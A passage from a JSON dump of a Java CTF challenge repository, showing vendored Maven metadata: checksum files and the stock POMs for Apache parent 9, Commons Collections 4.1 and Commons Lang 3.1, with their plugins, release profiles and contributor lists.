<artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.3.1</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.3</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileFormat>gnu</tarLongFileFormat>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n              <useAgent>true</useAgent>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-site-plugin</artifactId>\n              <version>3.0-beta-3</version>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/9/apache-9.pom.sha1",
    "content": "de55d73a30c7521f3d55e8141d360ffbdfd88caa"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\ncommons-collections4-4.1.jar>central=\ncommons-collections4-4.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/commons-collections4-4.1.jar.sha1",
    "content": "a4cf4688fe1c7e3a63aa636cc96d013af537768e"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/commons-collections4-4.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>38</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-collections4</artifactId>\n  <version>4.1</version>\n  <name>Apache Commons Collections</name>\n\n  <inceptionYear>2001</inceptionYear>\n  <description>The Apache Commons Collections package contains types that extend and augment the Java Collections Framework.</description>\n\n  <url>http://commons.apache.org/proper/commons-collections/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/COLLECTIONS</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/collections/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/collections/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/collections/trunk</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Matt Benson</name>\n      <id>mbenson</id>\n    </developer>\n    <developer>\n      <name>James Carman</name>\n      <id>jcarman</id>\n    </developer>\n    <developer>\n      <name>Stephen Colebourne</name>\n      <id>scolebourne</id>\n    </developer>\n    <developer>\n      <name>Robert Burrell Donkin</name>\n      <id>rdonkin</id>\n    </developer>\n    <developer>\n      <name>Morgan Delagrange</name>\n      <id>morgand</id>\n    </developer>\n    <developer>\n      <name>Gary D. Gregory</name>\n      <id>ggregory</id>\n    </developer>\n    <developer>\n      <name>Matthew Hawthorne</name>\n      <id>matth</id>\n    </developer>\n    <developer>\n      <name>Dipanjan Laha</name>\n      <id>dlaha</id>\n    </developer>\n    <developer>\n      <name>Geir Magnusson</name>\n      <id>geirm</id>\n    </developer>\n    <developer>\n      <name>Luc Maisonobe</name>\n      <id>luc</id>\n    </developer>\n    <developer>\n      <name>Craig McClanahan</name>\n      <id>craigmcc</id>\n    </developer>\n    <developer>\n      <name>Thomas Neidhart</name>\n      <id>tn</id>\n    </developer>\n    <developer>\n      <name>Adrian Nistor</name>\n      <id>adriannistor</id>\n    </developer>\n    <developer>\n      <name>Phil Steitz</name>\n      <id>psteitz</id>\n    </developer>\n    <developer>\n      <name>Arun M. Thomas</name>\n      <id>amamment</id>\n    </developer>\n    <developer>\n      <name>Rodney Waldhoff</name>\n      <id>rwaldhoff</id>\n    </developer>\n    <developer>\n      <name>Henri Yandell</name>\n      <id>bayard</id>\n    </developer>\n  </developers>\n\n  <contributors>\n    <contributor>\n      <name>Rafael U. C. Afonso</name>\n    </contributor>\n    <contributor>\n      <name>Max Rydahl Andersen</name>\n    </contributor>\n    <contributor>\n      <name>Avalon</name>\n    </contributor>\n    <contributor>\n      <name>Federico Barbieri</name>\n    </contributor>\n    <contributor>\n      <name>Jeffrey Barnes</name>\n    </contributor>\n    <contributor>\n      <name>Nicola Ken Barozzi</name>\n    </contributor>\n    <contributor>\n      <name>Arron Bates</name>\n    </contributor>\n    <contributor>\n      <name>Sebastian Bazley</name>\n    </contributor>\n    <contributor>\n      <name>Benjamin Bentmann</name>\n    </contributor>\n    <contributor>\n      <name>Ola Berg</name>\n    </contributor>\n    <contributor>\n      <name>Sam Berlin</name>\n    </contributor>\n    <contributor>\n      <name>Christopher Berry</name>\n    </contributor>\n    <contributor>\n      <name>Nathan Beyer</name>\n    </contributor>\n    <contributor>\n      <name>Rune Peter Bjørnstad</name>\n    </contributor>\n    <contributor>\n      <name>Janek Bogucki</name>\n    </contributor>\n    <contributor>\n      <name>Maarten Brak</name>\n    </contributor>\n    <contributor>\n      <name>Dave Bryson</name>\n    </contributor>\n    <contributor>\n      <name>Chuck Burdick</name>\n    </contributor>\n    <contributor>\n      <name>Julien Buret</name>\n    </contributor>\n    <contributor>\n      <name>Josh Cain</name>\n    </contributor>\n    <contributor>\n      <name>Jonathan Carlson</name>\n    </contributor>\n    <contributor>\n      <name>Ram Chidambaram</name>\n    </contributor>\n    <contributor>\n      <name>Steve Clark</name>\n    </contributor>\n    <contributor>\n      <name>Benoit Corne</name>\n    </contributor>\n    <contributor>\n      <name>Eric Crampton</name>\n    </contributor>\n    <contributor>\n      <name>Dimiter Dimitrov</name>\n    </contributor>\n    <contributor>\n      <name>Peter Donald</name>\n    </contributor>\n    <contributor>\n      <name>Steve Downey</name>\n    </contributor>\n    <contributor>\n      <name>Rich Dougherty</name>\n    </contributor>\n    <contributor>\n      <name>Tom Dunham</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Fornari</name>\n    </contributor>\n    <contributor>\n      <name>Andrew Freeman</name>\n    </contributor>\n    <contributor>\n      <name>Gerhard Froehlich</name>\n    </contributor>\n    <contributor>\n      <name>Goran Hacek</name>\n    </contributor>\n    <contributor>\n      <name>David Hay</name>\n    </contributor>\n    <contributor>\n      <name>Mario Ivankovits</name>\n    </contributor>\n    <contributor>\n      <name>Paul Jack</name>\n    </contributor>\n    <contributor>\n      <name>Eric Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Kent Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Marc Johnson</name>\n    </contributor>\n    <contributor>\n      <name>Roger Kapsi</name>\n    </contributor>\n    <contributor>\n      <name>Nissim Karpenstein</name>\n    </contributor>\n    <contributor>\n      <name>Shinobu Kawai</name>\n    </contributor>\n    <contributor>\n      <name>Stephen Kestle</name>\n    </contributor>\n    <contributor>\n      <name>Mohan Kishore</name>\n    </contributor>\n    <contributor>\n      <name>Simon Kitching</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Knych</name>\n    </contributor>\n    <contributor>\n      <name>Serge Knystautas</name>\n    </contributor>\n    <contributor>\n      <name>Peter KoBek</name>\n    </contributor>\n    <contributor>\n      <name>Jordan Krey</name>\n    </contributor>\n    <contributor>\n      <name>Olaf Krische</name>\n    </contributor>\n    <contributor>\n      <name>Guilhem Lavaux</name>\n    </contributor>\n    <contributor>\n      <name>Paul Legato</name>\n    </contributor>\n    <contributor>\n      <name>David Leppik</name>\n    </contributor>\n    <contributor>\n      <name>Berin Loritsch</name>\n    </contributor>\n    <contributor>\n      <name>Hendrik Maryns</name>\n    </contributor>\n    <contributor>\n      <name>Stefano Mazzocchi</name>\n    </contributor>\n    <contributor>\n      <name>Brian McCallister</name>\n    </contributor>\n    <contributor>\n      <name>David Meikle</name>\n    </contributor>\n    <contributor>\n      <name>Steven Melzer</name>\n    </contributor>\n    <contributor>\n      <name>Leon Messerschmidt</name>\n    </contributor>\n    <contributor>\n      <name>Mauricio S. Moura</name>\n    </contributor>\n    <contributor>\n      <name>Kasper Nielsen</name>\n    </contributor>\n    <contributor>\n      <name>Stanislaw Osinski</name>\n    </contributor>\n    <contributor>\n      <name>Alban Peignier</name>\n    </contributor>\n    <contributor>\n      <name>Mike Pettypiece</name>\n    </contributor>\n    <contributor>\n      <name>Steve Phelps</name>\n    </contributor>\n    <contributor>\n      <name>Ilkka Priha</name>\n    </contributor>\n    <contributor>\n      <name>Jonas Van Poucke</name>\n    </contributor>\n    <contributor>\n      <name>Will Pugh</name>\n    </contributor>\n    <contributor>\n      <name>Herve Quiroz</name>\n    </contributor>\n    <contributor>\n      <name>Daniel Rall</name>\n    </contributor>\n    <contributor>\n      <name>Robert Ribnitz</name>\n    </contributor>\n    <contributor>\n      <name>Huw Roberts</name>\n    </contributor>\n    <contributor>\n      <name>Henning P. Schmiedehausen</name>\n    </contributor>\n    <contributor>\n      <name>Joerg Schmuecker</name>\n    </contributor>\n    <contributor>\n      <name>Howard Lewis Ship</name>\n    </contributor>\n    <contributor>\n      <name>Joe Raysa</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Rodriguez</name>\n    </contributor>\n    <contributor>\n      <name>Ashwin S</name>\n    </contributor>\n    <contributor>\n      <name>Jordane Sarda</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Schapitz</name>\n    </contributor>\n    <contributor>\n      <name>Jon Schewe</name>\n    </contributor>\n    <contributor>\n      <name>Andreas Schlosser</name>\n    </contributor>\n    <contributor>\n      <name>Christian Siefkes</name>\n    </contributor>\n    <contributor>\n      <name>Michael Smith</name>\n    </contributor>\n    <contributor>\n      <name>Stephen Smith</name>\n    </contributor>\n    <contributor>\n      <name>Jan Sorensen</name>\n    </contributor>\n    <contributor>\n      <name>Jon S. Stevens</name>\n    </contributor>\n    <contributor>\n      <name>James Strachan</name>\n    </contributor>\n    <contributor>\n      <name>Leo Sutic</name>\n    </contributor>\n    <contributor>\n      <name>Radford Tam</name>\n    </contributor>\n    <contributor>\n      <name>Chris Tilden</name>\n    </contributor>\n    <contributor>\n      <name>Neil O'Toole</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Turner</name>\n    </contributor>\n    <contributor>\n      <name>Kazuya Ujihara</name>\n    </contributor>\n    <contributor>\n      <name>Thomas Vahrst</name>\n    </contributor>\n    <contributor>\n      <name>Jeff Varszegi</name>\n    </contributor>\n    <contributor>\n      <name>Ralph Wagner</name>\n    </contributor>\n    <contributor>\n      <name>Hollis Waite</name>\n    </contributor>\n    <contributor>\n      <name>David Weinrich</name>\n    </contributor>\n    <contributor>\n      <name>Dieter Wimberger</name>\n    </contributor>\n    <contributor>\n      <name>Serhiy Yevtushenko</name>\n    </contributor>\n    <contributor>\n      <name>Sai Zhang</name>\n    </contributor>\n    <contributor>\n      <name>Jason van Zyl</name>\n    </contributor>\n    <contributor>\n      <name>Geoff Schoeman</name>\n    </contributor>\n    <contributor>\n      <name>Goncalo Marques</name>\n    </contributor>\n  </contributors>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.11</version>\n      <scope>test</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.easymock</groupId>\n      <artifactId>easymock</artifactId>\n      <version>3.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <name>Apache Commons Site</name>\n      <url>${commons.deployment.protocol}://people.apache.org/www/commons.apache.org/${commons.componentid}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <maven.compiler.source>1.6</maven.compiler.source>\n    <maven.compiler.target>1.6</maven.compiler.target>\n\n    <!--\n       This is also  used to generate download_xxx file name.\n       To override this when generating the download page:\n\n       mvn commons:download-page -Dcommons.componentid=collections\n\n       The above seems to change the download page name but not any other\n       properties that depend on the componentid.\n    -->\n    <commons.componentid>collections4</commons.componentid>\n\n    <!-- Current 4.x release series -->\n    <commons.release.version>4.1</commons.release.version>\n    <commons.release.desc>(Java 6.0+)</commons.release.desc>\n\n    <!-- Previous 3.x release series -->\n    <commons.release.2.version>3.2.2</commons.release.2.version>\n    <commons.release.2.desc>(Requires Java 1.3 or later)</commons.release.2.desc>\n    <!-- Override generated name -->\n    <commons.release.2.name>commons-collections-${commons.release.2.version}</commons.release.2.name>\n\n    <commons.jira.id>COLLECTIONS</commons.jira.id>\n    <commons.jira.pid>12310465</commons.jira.pid>\n    <!-- The RC version used in the staging repository URL. -->\n    <commons.rc.version>RC2</commons.rc.version>\n    <checkstyle.version>2.9.1</checkstyle.version>\n\n    <commons.site.path>collections</commons.site.path>\n    <commons.scmPubUrl>https://svn.apache.org/repos/infra/websites/production/commons/content/proper/commons-collections</commons.scmPubUrl>\n    <commons.scmPubCheckoutDirectory>site-content</commons.scmPubCheckoutDirectory>\n\n    <!-- Override javadoc plugin version due to a vulnerability of the generated javadoc\n         see http://jira.codehaus.org/browse/MJAVADOC-370, remove after update to CP 32   -->\n    <commons.javadoc.version>2.9.1</commons.javadoc.version>\n  </properties>\n\n\n  <build>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n          <configuration>\n            <includes>\n              <include>**/*Test.java</include>\n            </includes>\n            <excludes>\n              <exclude>**/*$*</exclude>\n              <exclude>**/TestUtils.java</exclude>\n              <exclude>**/Abstract*.java</exclude>\n              <exclude>**/BulkTest.java</exclude>\n            </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptors>\n            <descriptor>src/assembly/bin.xml</descriptor>\n            <descriptor>src/assembly/src.xml</descriptor>\n          </descriptors>\n          <tarLongFileMode>gnu</tarLongFileMode>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>${checkstyle.version}</version>\n        <configuration>\n          <configLocation>${basedir}/src/conf/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <configuration>\n          <ignorePathsToDelete>\n            <ignorePathToDelete>javadocs</ignorePathToDelete>\n          </ignorePathsToDelete>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>${commons.changes.version}</version>\n        <configuration>\n          <issueLinkTemplatePerSystem>\n            <default>%URL%/%ISSUE%</default>\n          </issueLinkTemplatePerSystem>\n          <!--  Add sample JIRA report - 'mvn changes:jira-report' or 'mvn site' -->\n          <onlyCurrentVersion>false</onlyCurrentVersion>\n          <columnNames>Fix Version,Key,Summary,Type,Resolution,Status</columnNames>\n          <!-- Sort cols have to be reversed in JIRA 4 -->\n          <sortColumnNames>Key DESC,Type,Fix Version DESC</sortColumnNames>\n          <resolutionIds>Fixed</resolutionIds>\n          <statusIds>Resolved,Closed</statusIds>\n          <!-- Don't include sub-task -->\n          <typeIds>Bug,New Feature,Task,Improvement,Wish,Test</typeIds>\n          <fixVersionIds>${commons.release.version}</fixVersionIds>\n          <maxEntries>500</maxEntries>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <artifactId>maven-checkstyle-plugin</artifactId>\n        <version>${checkstyle.version}</version>\n        <configuration>\n          <configLocation>${basedir}/src/conf/checkstyle.xml</configLocation>\n          <enableRulesSummary>false</enableRulesSummary>\n\t      <suppressionsLocation>${basedir}/src/conf/checkstyle-suppressions.xml</suppressionsLocation>\n        </configuration>\n\t    <reportSets>\n          <reportSet>\n            <reports>\n              <report>checkstyle</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>clirr-maven-plugin</artifactId>\n        <version>${commons.clirr.version}</version>\n        <configuration>\n          <minSeverity>${minSeverity}</minSeverity>\n         </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>findbugs-maven-plugin</artifactId>\n        <version>2.5.5</version>\n        <configuration>\n          <threshold>Normal</threshold>\n          <effort>Default</effort>\n          <excludeFilterFile>${basedir}/src/conf/findbugs-exclude-filter.xml</excludeFilterFile>\n       </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-pmd-plugin</artifactId>\n        <version>2.7.1</version>\n        <configuration>\n          <targetJdk>${maven.compiler.target}</targetJdk>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>pmd</report>\n              <report>cpd</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>site-content/**/*</exclude>\n            <exclude>src/test/resources/data/test/*</exclude>\n            <exclude>maven-eclipse.xml</exclude>\n            <exclude>.travis.yml</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>setup-checkout</id>\n      <activation>\n        <file>\n          <missing>site-content</missing>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-antrun-plugin</artifactId>\n            <version>1.7</version>\n            <executions>\n              <execution>\n                <id>prepare-checkout</id>\n                <phase>pre-site</phase>\n                <goals>\n                  <goal>run</goal>\n                </goals>\n                <configuration>\n                  <tasks>\n                    <exec executable=\"svn\">\n                      <arg line=\"checkout --depth immediates ${commons.scmPubUrl} ${commons.scmPubCheckoutDirectory}\" />\n                    </exec>\n\n                    <exec executable=\"svn\">\n                      <arg line=\"update --set-depth exclude ${commons.scmPubCheckoutDirectory}/javadocs\" />\n                    </exec>\n\n                    <pathconvert pathsep=\" \" property=\"dirs\">\n                      <dirset dir=\"${commons.scmPubCheckoutDirectory}\" includes=\"*\" />\n                    </pathconvert>\n                    <exec executable=\"svn\">\n                      <arg line=\"update --set-depth infinity ${dirs}\" />\n                    </exec>\n                  </tasks>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n    <profile>\n      <id>travis</id>\n      <activation>\n        <property>\n          <name>env.TRAVIS</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <properties>\n        <buildnumber.skip>true</buildnumber.skip>\n      </properties>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.jacoco</groupId>\n            <artifactId>jacoco-maven-plugin</artifactId>\n            <version>${commons.jacoco.version}</version>\n            <executions>\n              <execution>\n                <id>prepare-agent</id>\n                <goals>\n                  <goal>prepare-agent</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.eluder.coveralls</groupId>\n            <artifactId>coveralls-maven-plugin</artifactId>\n            <version>3.1.0</version>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/commons-collections4-4.1.pom.sha1",
    "content": "56c31f5fa1096fa1b33bf2813f2913412c47db2c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:32 CST 2018\ncommons-lang3-3.1.jar>central=\ncommons-lang3-3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/commons-lang3-3.1.jar.sha1",
    "content": "905075e6c80f206bbe6cf1e809d2caa69f420c76"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-lang3/3.1/commons-lang3-3.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with \n  this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the \n  \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 \n  Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT \n  WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations \n  under the License. -->\n<project\n  xmlns=\"http://maven.apache.org/POM/4.0.0\"\n  xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <groupId>org.apache.commons</groupId>\n    <artifactId>commons-parent</artifactId>\n    <version>22</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-lang3</artifactId>\n  <version>3.1</version>\n  <name>Commons Lang</name>\n\n  <inceptionYear>2001</inceptionYear>\n  <description>\n  Commons Lang, a package of Java utility classes for the\n  classes that are in java.lang's hierarchy, or are considered to be so\n  standard as to justify existence in java.lang.\n</description>\n\n  <url>http://commons.apache.org/lang/</url>\n\n  <issueManagement>\n    <system>jira</system>\n    <url>http://issues.apache.org/jira/browse/LANG</url>\n  </issueManagement>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/lang/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/lang/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/lang/trunk</url>\n  </scm>\n\n  <developers>\n    <developer>\n      <name>Daniel Rall</name>\n      <id>dlr</id>\n      <email>dlr@finemaltcoding.com</email>\n      <organization>CollabNet, Inc.</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Stephen Colebourne</name>\n      <id>scolebourne</id>\n      <email>scolebourne@joda.org</email>\n      <organization>SITA ATS Ltd</organization>\n      <timezone>0</timezone>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Henri Yandell</name>\n      <id>bayard</id>\n      <email>bayard@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Steven Caswell</name>\n      <id>scaswell</id>\n      <email>stevencaswell@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <name>Robert Burrell Donkin</name>\n      <id>rdonkin</id>\n      <email>rdonkin@apache.org</email>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Gary D. Gregory</name>\n      <id>ggregory</id>\n      <email>ggregory@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Phil Steitz</name>\n      <id>psteitz</id>\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Fredrik Westermarck</name>\n      <id>fredrik</id>\n      <email />\n      <organization />\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>James Carman</name>\n      <id>jcarman</id>\n      <email>jcarman@apache.org</email>\n      <organization>Carman Consulting, Inc.</organization>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Niall Pemberton</name>\n      <id>niallp</id>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Matt Benson</name>\n      <id>mbenson</id>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joerg Schaible</name>\n      <id>joehni</id>\n      <email>joerg.schaible@gmx.de</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <name>Oliver Heger</name>\n      <id>oheger</id>\n      <email>oheger@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Paul Benedict</name>\n      <id>pbenedict</id>\n      <email>pbenedict@apache.org</email>\n      <roles>\n        <role>Java Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <contributors>\n    <contributor>\n      <name>C. Scott Ananian</name>\n    </contributor>\n    <contributor>\n      <name>Chris Audley</name>\n    </contributor>\n    <contributor>\n      <name>Stephane Bailliez</name>\n    </contributor>\n    <contributor>\n      <name>Michael Becke</name>\n    </contributor>\n    <contributor>\n      <name>Benjamin Bentmann</name>\n    </contributor>\n    <contributor>\n      <name>Ola Berg</name>\n    </contributor>\n    <contributor>\n      <name>Nathan Beyer</name>\n    </contributor>\n    <contributor>\n      <name>Stefan Bodewig</name>\n    </contributor>\n    <contributor>\n      <name>Janek Bogucki</name>\n    </contributor>\n    <contributor>\n      <name>Mike Bowler</name>\n    </contributor>\n    <contributor>\n      <name>Sean Brown</name>\n    </contributor>\n    <contributor>\n      <name>Alexander Day Chaffee</name>\n    </contributor>\n    <contributor>\n      <name>Al Chou</name>\n    </contributor>\n    <contributor>\n      <name>Greg Coladonato</name>\n    </contributor>\n    <contributor>\n      <name>Maarten Coene</name>\n    </contributor>\n    <contributor>\n      <name>Justin Couch</name>\n    </contributor>\n    <contributor>\n      <name>Michael Davey</name>\n    </contributor>\n    <contributor>\n      <name>Norm Deane</name>\n    </contributor>\n    <contributor>\n      